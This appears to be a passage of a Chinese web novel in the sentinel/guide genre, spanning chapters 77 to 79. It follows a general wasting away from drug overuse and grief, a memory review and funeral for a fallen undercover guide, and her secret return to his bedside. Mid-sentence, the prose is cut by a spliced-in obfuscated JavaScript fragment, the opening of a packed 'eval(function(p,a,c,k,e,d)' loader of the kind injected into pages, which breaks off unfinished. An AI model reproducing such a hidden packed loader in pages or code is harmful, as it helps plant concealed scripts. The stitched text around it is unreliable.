她并不是对他毫无挂念,自从在受勋庆典看到韩奕几乎不成人形的模样,她和楚飞担心得都快要炸了。用楚飞的话来说,老师现在看上去像是一具没有了血肉的空壳,只剩一副空荡荡的架子撑在那里。 到最后曼琳和楚飞终于找机会堵住了科林,他们虽然一时半会儿见不到韩奕,但见一见他的随行医生倒还是可以的。 面对两位哨兵严丝合缝的包围,科林无可奈何地叹着气,随后半推半就地说出了实情,他也担心着上将的状态,需要把实情告知给值得信赖的人。 做为随行医生,科林是最开始注意到韩奕状态恶化的人,他能感觉到上将在战争后期几乎快要失控,像是有什么东西在灼烧着他的肺腑、驱赶着他的灵魂,他简直快要将自己逼疯,最恐怖的一次在八小时内接连注射了两针强化剂。 在科林看来,上将这股没来由的自我折磨直到战争的终末才突如其来地停止,好像一直以来绷紧的弦终于断开了。接下来,曾经一直压抑的伤病与药物过量的副作用全部涌来,几乎是变本加厉地还击到了上将的身上。 这其中最为显著的后遗症就是失眠与神经性心绞痛,在这几个月的时间里,即使是在大剂量服用药剂的情况下,上将每天也只能睡着3-4小时。心脏的绞痛与痉挛也无法查出病因,无论是精神层面还是病理层面都查过了,结果显示上将的五感仍旧处于惊人的可控状态,并无任何失控迹象,而他的心脏也并没有任何实质的病变。 科林已经找来了心内科、内分泌科、神经科、疼痛科等多个科室的专家联合会诊,甚至请来了顶尖的向导团队进行精神疏导,但仍旧没能找出病因,只能归结于高频注射强化剂的后遗症。 “如果你们一定要问的话,是的……”科林扶了扶眼镜:“他现在每天都需要服用大量的镇痛和安眠药物,剂量几乎已经加到极限,但情况越来越差。” 77. 第七十七章 强化剂的成分与稀释后的催化剂有70%的重叠,某种程度上说,它是造价更高昂的催化剂,除了成瘾性更低之外,所造成的伤害与催化剂没有太大的本质区别。 曼琳闭上了眼,他们都曾经被南方的新型催化剂感染过,那几天生不如死的体验她至今不敢回忆,做为比A级敏-感数倍的超S级哨兵,韩奕所承受的痛苦远远在她之上。 难以想象在那样惨烈的经历后,他还能做到将强化剂注入自己的身体,这无异于把自己推入地狱。 “他亲自下令给自己注射药剂的?”曼琳尽量平稳地吐息。 “是的。”科林低垂着眼,沉声答道。 那他现在的这一切都是自找的,曼琳咬了咬牙,继续问道:“您刚才所说的上将每天只能入睡3-4小时,是监测结果还是……” “……”科林的动作停滞了一瞬,他瞬间明白了她的意思:“是上将的自述……” “好。”曼琳捏了捏疲倦的眉,果断结束了这次谈话:“我的问题结束,辛苦您了,医生。” 初春的到来使得最僻静的小路也被繁茂的花叶遮蔽,清晨刚下过一场雨,碧色的草地盈满了水汽,上面还开满了不知名的小花。 时间已到中午,年轻的哨兵与向导们三五成群地前往食堂,有的还带着篮球,看上去刚刚才从球场上下来。战争的结束带来了压抑已久的新生,中央公会的氛围变得前所未有的轻快,仿佛连空气都沾染了微甜的花香。 军官的单独用餐区域几乎没有人,变成了曼琳、楚飞和诺兰三人的包场。 “你一会儿去哪?”曼琳端过餐食放到桌上。 “回军区医院。”楚飞将刀叉递了过去:“顺便打包午饭带过去。” “嗯。”曼琳接过刀叉低头开吃,冬季的结束使得曾经高昂的物价迅速回落,公会对士兵的餐饮已经没有了曾经严格的限制,就曼琳现在的军衔而言,几乎可以实现牛肉自由,几乎是一眨眼的功夫,半盘子牛排便被她扫空。 师姐真的一点都没变,楚飞心里想着,他抿了一口燕麦奶,随后问道:“刚才科林那样说,你一点都不着急吗?” “急有用吗?”另外半盘牛排也被扫了个干净,连同一旁的小番茄、西蓝花和玉米。 “你什么都不打算做?”楚飞望着对面那双狡黠的、生气勃勃的眼睛,有些不可置信。 曼琳弯了弯嘴角,冲楚飞扬了扬自己手中的电子文件,信息内容正从她的通讯器中被投屏出来,斗大的标题清晰地映照在空气中。 “《烈士陵园扩建翻修优化方案》?”楚飞逐字逐句地将文件名念了出来。 “嗯对。”曼琳放下了手中的炸鸡,语气变得肃穆:“战争期间牺牲的间谍需要重新安葬,过不了多久公会和军部会举办一个葬礼,我准备按不同的任务分支修建新的陵园。赛拉菲尔计划那边,顾小绒的遗像还有坟墓的样式还需要定夺……原本是她的家属可以选择的,但她也没有家属,所以只能交给她的哨兵了。” 原来是等在这儿呢,楚飞无可奈何地摇了摇头:“你把这份文件发给老师了?” “嗯,来的路上就发了。”曼琳指尖轻点屏幕,将投影收回:“我在文件后加了句:三天内如无回复就默认允许,方案即刻实施。” “不愧是你。”这一次,诺兰与楚飞异口同声。 文件是十五分钟前发过去的,等到用餐的尾声曼琳便收到了回复,通讯器发出一个简短的音节,她看了眼屏幕,随后对翘首以盼的两人点了点头。 “啧,这不还是看得到消息么。”女哨兵用湿巾擦了擦嘴,随后起身收捡盘子。 “老师怎么说?”楚飞问道。 “他说三天内回公会。”曼琳耸了耸肩:“得,我们盯紧点,别把战争英雄搞死了……一份牛腩粥,一份鲜虾粥,打包谢谢。”她又拍了拍楚飞的肩:“我请。” “不买炸鸡了吗?”楚飞望着曼琳,他想着,也许师姐还是变了很多。 “人总是会成长的。”曼琳侧过脸,对着楚飞微微一笑,明丽的阳光洒落在她的侧颜,她的目光却沉得像是一湾寂静的湖水。 “所以周烨最近还好吗?”诺兰忍不住问道。 “……不太好。”楚飞艰难地开了口,接过了打包好的餐食,三人相顾无言。 “那你好好照顾他,等他好些了我们再去看他。”曼琳的声音沉着而温柔,仿佛无论什么也无法在她身上掀起波澜:“你现在对他照看得很仔细嘛。” “周叔有任务忙,只有我有时间照顾他了。”楚飞有些尴尬地摸了摸鼻尖。 “周叔?叫这么亲切。”诺兰与曼琳互相换了个眼神。 “布雷塔妮最近也见不到人,你说说这些向导一天到晚在忙什么。”迎着午后温暖的阳光,曼琳伸了个懒腰。 楚飞感觉曼琳话里有话,神情不由一顿。 “肯定是有什么要紧事,不过既然和哨兵无关,那咱们就别管了。”严酷的磨炼之后,曼琳终于蜕变成了一个合格的政-治机器,此时的她沉稳、通透、敏锐,真正意义上地担起了中央公会哨兵总负责人的职位。 “放心吧,就算没有我这个陵园优化方案,老师也会回公会的。”曼琳的目光落在了远处一支横斜的树梢上,一只白色的知更鸟正站在那里收拢了翅膀,它像是经历了很久的旅程,风尘仆仆,正扭头给自己梳洗、整理羽毛。自从春天降临之后,知更鸟也从南境逐渐迁徙回了北方。 “毕竟就算是世界末日,他也还有在意的事情要处理,不是么。” 韩奕到底还是在时限内赶回了公会,而曼琳也当真如他所期待的那样,不露一丝情绪地、公事公办地将方案递交给他签字。 上将憔悴得厉害,整个人比起庆典的时候更加形销骨立,眼下的乌青蔓延得极深。他的气场比从前更加冷寂,连信息素都散发着寒气。 春日降临之后,万物竞发、生机勃勃,只有他永远被留在了那场寒冬里。 曼琳先是交上了第一份文件,上面清楚明确地排列出了每一次战役与任务中牺牲的烈士名单,以及与他们对应的陵墓规划。烈士们是以任务为单元安葬在一起的,所以言韶、华峥与莉莉被安葬在一起,而顾小绒则与艾丽西娅、以及其他塞拉菲尔计划中牺牲的向导卧底被安葬在一起。 根据艾丽西娅的遗愿,将她真正的遗体与她的哨兵重新合葬。文件里还有模拟的陵墓地图与设计图,韩奕在仔细浏览后签署了自己的名字,以三军统帅的身份。 第二份文件比第一份单薄许多,只有薄薄的三页,是关于顾小绒的。上将布满血丝的眼缓慢地浏览过第一页的内容,上面写着她的生卒年月与主要资料;第二页则是她在出任务前所写的遗书,每一位前往南境的卧底人员在行动前都会留下一份遗书,可遗憾的是,顾小绒并没有在上面留下任何字迹,那里只有一片空白。第三页就是她的陵墓所处位置、坟墓的布置与样式、以及遗照的选择。 韩奕仔细地浏览着那三张薄薄的纸,在这个过程中,曼琳得以更近距离地观察她久别的师长。 日常军服没有正装那样华丽,韩奕的面容消瘦到几乎脱相,本就凌厉的五官线条变得更加锋利,沉黑的双目暗淡无光,因为饱受失眠与病痛的折磨,那上面布满了血丝,泛着暗红的血色。曼琳估计长官此时的体重已经跌破了哨兵的标准要求,她甚至觉得这一身军服都是量体后重新裁制的。 韩奕最终选定了顾小绒的墓地与遗像,在文件的末尾签上了名字,以顾小绒哨兵的身份。 其实严格来说,从顾小绒正式执行潜伏计划之后,她就已不再是韩奕的向导,无论是从职级、任务内容还是其他地方,他们都已没有了直接关系。在这个方面,他甚至不如斯特兰,夏若是斯特兰正式登记的妻子,他有足够的身份处理她的一切、为她流泪与哀悼。 可是他呢?他不再是顾小绒的任何人,他们了断得一干二净,甚至连她的遗嘱也没有提到他半个字。 其实无论是陵园修缮计划,还是一位牺牲的普通中尉,都犯不着上将亲自签字,曼琳把这两份文件交给他,是一种目的明确的安慰,她太了解韩奕,太明白他痛苦在哪里。 这份签字也许有些勉强,但如果能让眼前的哨兵稍微好受一点也不是不行。战争结束后,帝国已不再需要战 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寂静的办公室内,莱安、沈骁与布雷塔妮神情复杂地看着轮椅上的斯特兰,少将特意从军区医院出来,是为了打开并更改他的任务权限,冰绿的眸子扫过文件,确认了身份信息「尾鸦」。系统在打开后进行了更新,重新录入了韩奕的虹膜信息,从现在开始上将会全程接手这项计划的后续研究工作。 除此之外,斯特兰这次也是来请辞的,他的退役许可需要韩奕签字,他希望离开中央公会,重新回到泽卡。 “帝国最好的医疗资源都集中在军部,你如果愿意,我可以将你安置到最好的疗养院。”莱安双手交叠,神色凝重。 曾经的雇佣兵头子只是摆摆手婉拒,反正也没有几天时间能活了,他还是想落叶归根,做完了以上这一系列事,少将苍白的前额已泛起了一丝薄汗,他不得不离场,重新回到医院稳定情况。 会议这才在有些压抑的氛围里重新展开,这一次研究与汇报的主要议题是顾小绒,斯特兰曾经在泽卡陷落的时候就保存了一份顾小绒的大脑信息传回公会,后续在晏泽的实验基地他们又抢修了一部分,最终才核对并修缮出了一个完整的版本。 顾小绒的精神力十分强大,她的记忆也保存得十分清晰,而他们围坐在投屏前,逐帧分析着这位卧底中尉的一生。 韩奕上将事无巨细地参与了这场漫长的研究与解析,而直到看见顾小绒记忆中斯特兰“恶劣”的所作所为后,莱安这才明白他为什么要这样快地跑路。 如果顾小绒死后泉下有知,知道自己被斯特兰当众扒裤子的记忆被超级大屏清晰投放,她怕是真的会再死一次。 画面截止在顾小绒被扔到床上的那一幕时,气氛肉眼可见地紧绷了起来,莱安抱臂、沈骁望天、布雷塔妮低头看着手,只有周成山与伊凡德两位上了年纪的向导维持着面部表情的沉稳。谢天谢地,白狼没有继续做出什么过分的事,他纯粹就是要给晏泽演戏,只是演得过于逼真了些。 漫长的六天解析后,顾小绒的记忆被推进到了晏泽的部分,研究也到了最紧要的关头。 伊凡德虽然是科研院的院长,也是A级向导,但长期从事的是理论与研究工作,在实战方面更多还是需要周成山的意见。 在整场技术解析里,顾小绒被晏泽困在精神图景的部分是被研究得最久的地方,晏泽对顾小绒的精神侵袭是漫长且逐渐递增的,他是一位战略家,也是一位审讯高手,顾小绒在如此花样百出的手段里、面对如此多维的精神力侵袭,直到最后才被打破屏障,已经表现出超乎寻常的坚强。 晏泽最开始似乎对自己保有着绝对的自信,直到最后形势所迫,才不得不祭出“韩奕”,击溃了顾小绒最后的心理防线。以至于到最后重启通道的那一段,对于顾小绒是否已被晏泽控制与洗脑,研究阵营分为了两派。 沈骁认为此时的顾小绒已被控制,她之后的所作所为也应正了这一点,她确实自愿成为了新的“通道”;莱安则认为顾小绒还保有最后的认知,她并没有完全偏向于晏泽,否则这无法解释她成为“通道”、并掌握多个“核心”后,为什么没有操控现场海量的哨兵进攻北方军。 在足达两个小时的争论后,周成山才提出了自己的论断。 “有没有可能,我们一开始对晏泽的目的预设是错的?” 78. 第七十八章 焦灼的争论戛然而止,现场的每一个人都望着周成山,盼望着他能继续说些什么。 “我们之前对晏泽的目的预设是:他要完成黑暗向导实验,成功进行‘通道’的交接与替换,并借此赢得与北方的战争。” 周成山从一旁的年轻研究员手中接过鼠标,点开了一张照片,是晏泽本人浸泡在培养皿中的头颅,那颗悬浮的头颅泛着死物的灰白:“可是他这样孤注一掷的形态,并不像是有把南方军的未来与战争局势考虑进去。” 会议室一片鸦雀无声,没有人可以解释他们在顾小绒记忆终末看到的诡异场景,也无法解释那四扇凌空出现的门,和他们最后的对话。 “晏泽同艾丽西娅一样,是已经进入衰变的半失败试验品,他其实根本无法被当做‘核心’使用,可是他最后却仍旧选择了注射药物、进行‘逸散’,进入到顾小绒成为的新‘通道’中。” 周成山关闭了那张视觉冲击太过的照片,重新回到顾小绒展示的精神图景里:“我的推论是,晏泽确实没有欺骗顾小绒,谜底就在谜面上——他确实需要新的‘通道’,但不是为了赢得战争,他只是在拖延时间,直到完成‘通道’的重启,将晏殊从‘门’中释放,并与她一起‘复生’。” 在那处秘密实验室的地底,他们最后排查发现了上百个空置的培养皿,分布十分随机,有的甚至已经破裂损毁,里面也空无一物,无法判断是一开始就空置,还是里面存放的躯体不翼而飞,毕竟实验室的监控与感应器在被突破时已经毁掉了。 北方从现场密布的躯体中找到了数十个克隆体,包括晏泽、晏殊、艾丽西娅、温莉、顾小绒、以及其他数十位参与研究并注射药剂的向导,这些克隆体的质量很高,几乎与本体无异。 为掩人耳目,北方已下令将这些躯体摧毁,可是据他们本次研究的理论推断,“通道”是有能力定位到任何留有精神切口的躯体上的,这意味着“她”可以将“核心”定位并输送到任何哨兵身上,也可以输送到别的躯体上。 莱安是最先从惊愕中回过神来的人,只是他瞬间意识到了什么,选择了缄口不言,并且在桌下拍了拍后知后觉的布雷塔妮。随后,明白过来的沈骁也明智地选择了闭嘴。 “这只是理论上的推断,是吧?”伊凡德打了个圆场:“毕竟实验最终还是失败了。” “哦,是的,当然。”周成山连连点头:“虽然晏泽的构想十分惊人,这也是必然的历史进程,毕竟在这样极限的情况下,总会有人去做这样危险的尝试。” 他们似乎陷入了这场前沿实验太久,以至于思维受到了干扰,直到最后才在危险的边缘刹住了车。 二十余天的会议与研究后,整个塞拉菲尔计划的复盘被盖棺定论,顾小绒最后的精神图景被定义为死前过度注射致幻剂的幻象,而晏泽的“死而复生”则更是无望的挣扎,他本人已处于衰变的末期、命不久矣,最后在北方军的绝对优势中精神崩溃,在幻境中结束了自己的一生。 会议结果重申了黑暗向导实验的危险与失败,部分关键信息被永远从历史上抹去,以避免后人效法。至此,这场战争才算是真正意义上地迎来了终结。 顾小绒最后的记忆停留在她被选入计划的时刻,女孩抬头询问:“为什么选择的是我?” “因为你是我们所有人里最坚强、最值得信任的,因为你可以承受这一切。”这是她得到的回答。 组织的判断没有错,顾小绒真的坚持了下来,完成了这个几乎不可能完成的任务。最终,公会决定维持最初的裁决,确认将顾小绒追授为烈士,军部将举办一场高规格的葬礼,以示哀悼与尊重。 葬礼仪式很快被排上了日程,只是斯特兰少将已经病退,韩奕上将也出于某些原因没有到场,整场葬礼只有曼琳和布雷塔妮撑着,显得有些冷清。 虽然没有太多军部高官到场,但同一届还在的所有哨兵与向导几乎全员聚齐,他们之中有相当一部分已经办理了退役手续,为了参加战友最后的葬礼才在中央公会留到现在。 所幸葬礼那日的天气还是不错,湛蓝的晴空仿佛透光的蓝色宝石,和煦的阳光温软地透过云层、遍洒而下,新修的陵园被漫山遍野的花包围。山花开得热烈,即使是在漫天鸢尾的海洋里,也仍旧倔强地冒着头,程浩摘下了一朵黄色的小花,那上面刚刚飞过一只采蜜的蝴蝶。 “要我说,这样就很好。”娃娃脸向导将花扔向了身后兴奋的精神体,兔狲立即扑了上去将小花叼住:“不用大费周章重新修花园了,单种鸢尾也挺无聊的。” 因为山路陡峭,正羽还是不得不用了拐杖,哈士奇也同主人一样断了后腿,后肢被装在滚轮上,上坡的时候绑在滚轮上的带子一直被叼在兔狲嘴里,几乎是被半拉着往坡上走。 许久不曾露面的周烨也终于现身,他看上去身形单薄,即使在30多度的气温里也披着针织衫外套。陵园的小径又窄又陡,楚飞不得不将他的轮椅放置在下面,背着他走上去。 因为新修的陵墓是按照任务为单元划分的,看完了言韶、华峥和莉莉,还要走很久的路途去东区看成煜和景铭,最后才往西南方向去看顾小绒。 “不是,这是谁的主意,葬这么远干啥?”见正羽走得艰难,程浩蹙着眉抱怨。 抱怨声清晰地落到身后的某哨兵总负责人耳里,曼琳吐了吐舌头,她其实也走出了一身汗。楚飞倒是情绪稳定、任劳任怨地背着周烨,现在的周烨比起以前已经消瘦了太多,轮廓都小了一大截,整个人纸片似的伏在哨兵的背上,仿佛没有什么重量。 “我也没有办法嘛,因为上层说要专门给赛拉菲尔计划里牺牲的间谍修一个陵墓花园,我又怕别的烈士亲属闹起来,所以就按任务划分,给所有人都修了花园。”女哨兵为难地理了下头发。 “主打一碗水端平是吧。”诺兰拍了拍她的肩,以示理解。 他们费了很大的力气,才终于来到了顾小绒的墓前,这座陵墓花园的形状是圆形,向导的墓碑也是简洁的白色石碑,没有过多繁复的装饰。虽然经过了精心的打理与修整,但墓碑旁的地板缝隙仍旧冒出了一些青草,甚至还有一两朵白色的小花从那里长出来,就刚好凑在画像的边角处。 “你真的要请辞吗?”曼琳俯下身,将几片叶子从墓碑上扫去,得到了楚飞肯定的答复后叹了口气:“你一走,芬尼克怎么办?老师也没法直接照管公会了,扔一个S级哨兵给我,我可搞不了。” 楚飞也蹲下身子,清理着石板上的杂草,他的声音沉静而平缓:“周烨都那样了,我得照顾他。” “好吧……终究是我承担了所有。”曼琳瘪着嘴,但心里明白目前的情况只能这样。 “你会是比我更好的老师。”楚飞目不斜视地答道,在打理好那几根冒头的青草后,他擦净了石碑上的尘埃。 曼琳直起了身子,一阵微风裹挟着花瓣朝她涌来,她理了理飘飞的发丝,随后问道:“为什么不杀薇拉?” “……”楚飞似乎没有料到师姐会这样直接地问,他沉默了半晌,才闷闷答道:“因为希里斯留了我的性命。”清理完了墓碑,他才站起身来,与曼琳并肩而立。 银边包裹的相框里,顾小绒侧身而坐,银色的头发柔软地垂落在肩头,那双湛蓝的眼微微眯着,笑得清丽温婉,是他们记忆中熟悉的模样。 羽翼铺展的声音忽然贴近,曼琳转头一看,一只白色的知更鸟正停留在她的肩头,她微微一顿,目光在下一刻陷入模糊。 “你也来看我们了,是吗?”眼泪汇聚成水珠,从绿宝石般的眸子里流淌下来。 楚飞与曼琳一道,静静注视着眼前白色的墓碑,贯穿大脑的那一枪是他开的,他不能让她再持续如此非人的模样,只能开枪了断。其实那一刻,所有人的想法都是一样的,曼琳射出的子弹也仅仅只比楚飞慢了半秒。 如果他们不去泽卡抢夺顾小绒,也许她就不会受到刺激成功“逸散”,“通道”不会重启,任务也不会成功。 世间的阴差阳错从未停止,也许这就是命运冥冥中的注定。 布雷塔妮在远处的山头伫立了许久,同曼琳一样,葬礼结束后她并没有立即离开。 早在葬礼前的几天,她便向上级提出了调职,卸任中央公会向导总负责人这一职务,重新回到第七地方公会,目前正惴惴等待着上级的答复。 战争结束后的短短数月,莱安回归皇家公会、沈骁调回第五公会、斯特兰更是直接退役回了泽卡,所有人都在极尽可能地远离某位上将的辐射范围。 在会议的最后时刻,布雷塔妮已经感觉到那位黑暗哨兵的气场越来越低,求生的本能让她几乎想要逃离现场,而在所有赛拉菲尔的参与成员里,她甚至已经是跑得最慢的一个。 茉莉的清香幽幽而来,算是礼貌地打了个照面,布雷塔妮转身,看见曼琳正朝她走来。 “嗨。”她朝着对方打了个招呼,因为刚刚哭过,那双碧色的眼睛还有点红肿。 “请节哀。”布雷塔妮望向她,知道曼琳应该是有事要问自己。 “那什么,可能有些冒昧。”温暖的风轻轻扬起曼琳的发丝,她摸了摸微红的鼻尖:“想和你打听下,上将是什么时候离开公会的?” “哦,七天前了。”布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韩奕早在上校时期就在这里分了一套房子,不过他几乎没有来住过,后来职务一路高升,军部又给他分了一座前庭后院的独栋别墅,就在城市边缘的深蓝湖泊旁。上将给自己批准了一个漫长的假期,他无法留在公会或是军部的任何一处地方,因为那里的每一处都留有顾小绒的影子。 他几乎是被迫逃离的,逃离开所有充斥着她的回忆。 别墅已被手下派人仔细打扫过,只是因为长期无人居住,整座屋子空旷冷寂,即使打扫干净了,也没有一点人的气息。空旷的阳台外对应着寂静的花园,因为没有长官的指令,士兵们也不敢贸然种植花草,只修剪了杂草,留下一片整洁干净的空地。 只有一棵樱花树是一直以来生长在那里的,它生长的年限比这座房子更加悠久,破土动工时甚至都是把这棵树用围栏保护起来的。士兵们将这棵树过于繁茂的枝叶修剪了一下,使得靠近墙壁的那一边不要戳到窗子。 这棵树在漫长的冬季中沉睡,最后在春日的到来中苏醒,在韩奕搬回来居住之后,那棵树便很快迎来了第一次盛放。几乎是一夜之间,樱花如云似霞地绽放开来,轻盈绚烂仿佛温柔的梦境,层叠的花瓣随着斜射而下的阳光从绯色渐变到纯白,若是有微风逐渐吹拂而过,连绵的樱花雨便会从枝头泼泼洒洒、缓缓降落。 韩奕就在这颗树旁的房间里卧床休息,为了一览窗外的美景,正对着树的房间由单侧可见的玻璃墙构成,那里放着一张单人沙发,足够哨兵一人睡下。他长久地卧在那处聚拢着阳光与温暖的地方,在樱花树簌簌的影子里。 在短暂的梦里,他无数次回到那棵樱花树下,在她的精神图景中,向导总是温柔地抚摸着他,望向他的眼神专注而珍视,仿佛他是什么脆弱又易碎的珍宝。 而现在,他被温柔而旖旎的花影重新笼罩,仿佛重新回到她的精神图景,被她拥在怀中。 曼琳没有猜错,每天入睡3-4小时是韩奕随口搪塞给科林的,他实际上几乎无法入睡,只是硬撑着熬过每一个艰难的白天与夜晚。 细密的痛从四肢百骸汇聚到心脏,有时候会痛到像是刀在血肉里反复切割。久而久之他便习惯了这样的疼痛,仿佛它们是构成自己生命的一部分,偶尔他会在长久的痛苦后短暂地昏厥一两个小时,这几乎是为数不多的解脱。 到了韩奕这样的身份,军区医院的治疗团队都是带着仪器上-门-服-务的,科林和负责上将的营养团队每周都会按时上门,密切关注他的身体状态,公会提出指派一位向导来给上将进行精神疏导,被他拒绝了。 他已经不再需要别的向导了,上将这样想着,把脸颊埋进那条灰色的围巾中。时间过去太久,那上面已经没有了她的向导素的味道,她又离开了他一些。 他不想回忆起关于她的一切,不想回忆她在战场上看见他时挂满泪水的恐惧的脸,不想回忆她半个字没有留给他的空白遗言。他渐渐意识到她也许是恨着他的,可他无法面对这样的事实。 最终,在战后某个宁静的午后,那位本纪元唯一的黑暗哨兵一病不起,在樱花凋零后,哨兵封闭了自己的精神力,生命逐渐陷入枯竭。 79. 第七十九章 法洛亚位于帝国西部边陲,是一座宁静的封闭小镇,此处汇聚的多是地方公会B级以下的哨兵和向导,因为地处偏远,这里也是漫长内战中为数不多的没有被战火波及过的地方。 小镇里大约三分之一的常住居民是普通人,他们都是退役哨兵与向导们的家属,又因为这里的整体分化等级不高,小镇几乎一直都是较为松散的半封闭状态,只有晚上11点到早上7点时会落锁。 平日里,周边城镇的人也会经常过来游玩或是赶集,春天到来之后,郁郁葱葱的花卉便将温馨的小镇填满,绿色的藤萝重新爬上了街角的墙,紫薇、风信子与月见草参差错落、竞相盛放。 小镇上能发生的新奇事不多,街角的小咖啡店还在放着帝国授勋仪式的视频,虽然已经复播了很长一段时间,但是并不影响大家继续聚精会神地观看。坐在大屏最下方点着卡布奇诺的两个女孩看得聚精会神,她们的包包上别着社团的徽章,一个是黑暗哨兵的粉丝社,一个则是白狼的粉丝社。 一旁带着金丝眼镜的中年男士也放下了手中的报纸,专注地看着屏幕,年轻的孩子们崇拜战争英雄是很正常的事,大家对此习以为常。 现在店里的生意并不忙,咖啡店员洗干净了手里最后一个杯子,将桌子重新擦了一遍。授勋仪式虽然复播了这么久,她却还一次都没来得及仔细看过。 山呼海啸的欢呼从屏幕中传来,她抬眼望去,只见到一片纷飞的白色鸢尾,花瓣如同雨幕一般倾泻而下,有一大束鸢尾落到了原本定格在上将出场的镜头上,那里瞬间被遮住了视线,只能被迫切换到另一个更远的机位,人们发出不满的抱怨。 “搞什么啊,这么久了还没有修复。”是卡布奇诺女孩的声音。 “就是,也不多补录一些镜头给我们看。”她的朋友附和道,她包包上的社团徽章是银色的,在温暖的阳光下发着闪亮的光,看上去像是星星,那上面印着斯特兰少将卧底时的佣兵装束,看上去锋芒毕露、英气逼人。 咖啡店员收回视线,笑着轻轻摇头,还是不要让孩子们知道那人坏起来有多混账了,让他丰功伟绩的一面留存于世吧,她这样想着。 门铃传来一阵轻响,最先抬头的是那位中年男士,来人面容生疏,且分化层级不低,小镇很少会有A级以上的向导过来,他有些惊异地看了对方一眼。 身量高大的向导走到吧台前,温声道:“一杯冰美式,谢谢。” 咖啡店员顿了顿,抬头便撞进了一双熟悉的深色眸子中。 “很抱歉打扰你的生活,小绒。”在无人的角落里,沈骁拆开了那杯冰美式,修长的手指握住了杯身。 “没事的,长官。”顾小绒擦了擦手,取下了咖啡店的围裙放到一边。 自战争结束后,她就换了沈骁给她的新身份,隐姓埋名地生活在这座小镇上。除了新名字“槿柔”以外,她的身份也变作了退役的第五地方公会士兵,因为任务原因导致了精神力失控,不得不进行切除手术,满足退役伤残士兵的条件。 现在的她除去每个月的津贴以外,还能额外领取一份医疗补贴,除此之外看病也是费用全免,只是光靠这些虽然可以活着,但也没有太多盈余,所以她在养好身体后就立即找了份咖啡店的工作。 因为已经切除了精神力,对方进门时顾小绒没能感知到他的向导素,也因为精神力的切除,她的身体敏锐度与感知度都退化到了正常人的水平,她已不再是向导了。 此时顾小绒有些焦急地望向对方,能让沈骁亲自过来的必然不是小事:“是发生了什么事吗?”她的心下蓦然升起一丝隐秘的担忧。 “嗯。”沈骁小口喝着那杯咖啡,肯定了她的想法:“上将出了些状况……我只能来找你了。” 他的声音越来越低,顾小绒怔然望着对方,发白的指尖无知无觉地刺入掌心。 战机雪亮的蓝光划破宁静的暮色,只一眨眼便消失在夜幕的尽头,仿佛一颗划破天空的流星。 即使是空军最新型号的战机,从法洛亚飞往罗赛利亚中心医院也需要耗费4个小时。在此期间,顾小绒已经换上了沈骁给她的最新型号纳米面具,不过她一口晚饭也吃不下,最后也只是喝了一点能量饮料。 事情为什么会这样?韩奕怎么会出事?所有的报道和宣传口径都说上将功勋卓著、荣耀显赫,他被定位得光辉灿烂,仿佛是一个完美的符号。 自己又为什么这样轻易地相信了那些报道呢?顾小绒对自己生出一丝恼怒,她根本没有好好关心过他,直到现在都没有完整看完授勋仪式的录像,她早该意识到不对,意识到他在那之后就消失得悄无声息。 顾小绒看着窗外已经沉入夜色的云海,眼角无法抑制地发着红,时间仿佛被无止境地拉长,每一秒都变得缓慢而煎熬。 授勋仪式直播的时候她刚刚做完手术,在住院部躺了几天,后面恢复出院、找寻住处、再休养好身体找工作,她一口气都没有停过。全民欢庆的盛典时时刻刻地充斥在她的身旁,她只仓促地将这些信息听在耳朵里,便理所应当地以为韩奕现在过得很好。 在战机漫长的飞行中,顾小绒拿到了韩奕这些年来所有的病例报告,她不断滑动着屏幕,可那些病例记录好像永远翻不到头。他的用药量在战争后期越来越大,她认出了其中大量的止痛药与镇静剂,这份巨量的病历记录截止在十天前,像是逐渐崩塌的曲目戛然而止。 授勋仪式是韩奕最后的一次公开露面,虽然画面拉得很遥远,可她仍旧看清了他苍白憔悴的脸,他的身形变得从未有过的瘦削,即使穿着那样华丽的军服也仿佛是一页单薄的纸,好像随时都会悄无声息地倒下。 巨大的心痛席卷了顾小绒的身体,她的心脏像是被千万把利刃穿透。 等到战机直飞到医院后山的专属疗养院时,时间已到了晚上十点,同医院前门的人满为患不同,后山的疗养院灯火寂静,深杳空旷。战机直奔目的地,停在了疗养院内的停机坪上,除了两位警戒的哨兵在身侧之外,这偌大的场所已看不见别的身影,看上去很明显是戒严清场。 “上将现在是什么情况?”进入楼道时,顾小绒终于忍不住问道,夜风微微吹拂开她的银发,乌云沉缓地散开,一缕雪白的月光照应在她的脸上,那双湛蓝的眸子隐隐泛着水光。 “和成煜一样……”良久后,沈骁缓缓呼出一口气:“他封闭了自己的精神力,我们尝试了所有的办法……” “多久了?”顾小绒红着眼,竭力控制着身体的颤抖。 “从我们发现时候开始……已经第七天了。”沈骁刷开眼前的门禁,门外驻守的哨兵都退回到原本的岗位:“军部目前封锁了所有消息。” 他们径直穿过空旷的大厅,冷白的光线闪耀在清冷的夜色中,这让她想起第一次见到他的那个夜晚。 为什么总是把自己弄成这样,她攥紧双手,身子无法控制地颤抖着。 甬道尽头的门在扫描过沈骁的虹膜后打开,那里是一片晦暗的冷寂。病房门在那片深黑的尽头,沈骁没有再往里走,他最后替顾小绒打开了权限,金属门扉发出一道透亮而短暂的绿光,随后重新回归到黑暗之中。 病房的窗帘只拉了一半,此时的窗外银月高悬,月光如雪一般地透过薄纱,照射进暗色的房间里。那是一张普通的病床,两旁是高高立起的围栏,以防病人不慎掉落,无数仪器依次摆放在病床的周围,发着微弱的蓝色光线与静静的滴答声。 失去了精神力的加持,顾小绒花了一些时间才适应了黑暗的环境,她摸索着小心朝着病床靠近。 哨兵深陷在雪白的床单里、侧卧而眠,黑发因为长期的病痛与卧床已许久没有修剪,随着苍白嶙峋的脖颈往下延伸。被褥小幅度地隆起,勾勒出消瘦的身形,本就白皙的面容仿佛失去了最后的一丝颜色,脸颊深深塌陷了下去,紧闭的睫羽下弥漫着大片的鸦青。 韩奕的半张脸被笼罩在呼吸机下,他均匀地小口呼吸着,白色的雾气不断被喷洒在透明的面罩上又消散开去。即使到了这样的地步,他的手腕仍旧被手铐拷在床沿上,月光下那只骨瘦嶙峋的手上隐隐呈现出青色的筋脉,上面扎着留置针,余下皮肤也布满了淤青。 几乎是在见到他的第一眼,她的眼泪便涌出了眼眶,视线模糊成一片,以至于她无论如何都看不清他的面容。 分别后的每一个日夜是怎么熬过来的,她都不敢再想,即使是在最绵长的梦境里,她也没有想到可以再次这样靠近在他的身边。 顾小绒伸出手,轻轻抚摸着韩奕的脸,她太清楚哨兵此时的状态,曾 